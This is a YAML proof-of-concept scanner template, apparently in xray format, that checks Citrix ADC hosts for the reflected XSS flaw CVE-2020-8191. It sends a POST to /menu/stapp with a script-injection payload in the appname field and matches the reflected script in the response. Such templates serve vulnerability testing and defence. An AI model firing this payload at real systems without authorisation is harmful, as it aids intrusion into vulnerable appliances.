citrix-cve-2020-8191-xss.yml

name: poc-yaml-citrix-cve-2020-8191-xss
manual: true
transport: http
set:
    r1: randomLowercase(6)
rules:
    r0:
        request:
            cache: true
            method: POST
            path: /menu/stapp
            headers:
                Content-Type: application/x-www-form-urlencoded
            body: sid=254&pe=1%2C2%2C3%2C4%2C5&appname=%0D%0A%3C%2Ftitle%3E%3Cscript%3Ealert%28{{r1}}%29%3B%3C%2Fscript%3E&au=1&username=nsroot
            follow_redirects: true
        expression: response.body.bcontains(bytes("<script>alert(" + r1 + ");</script>")) && response.body.bcontains(b"citrix")
expression: r0()
detail:
    author: JingLing(https://hackfun.org/)
    links:
        - https://support.citrix.com/article/CTX276688
        - https://www.citrix.com/blogs/2020/07/07/citrix-provides-context-on-security-bulletin-ctx276688/
        - https://dmaasland.github.io/posts/citrix.html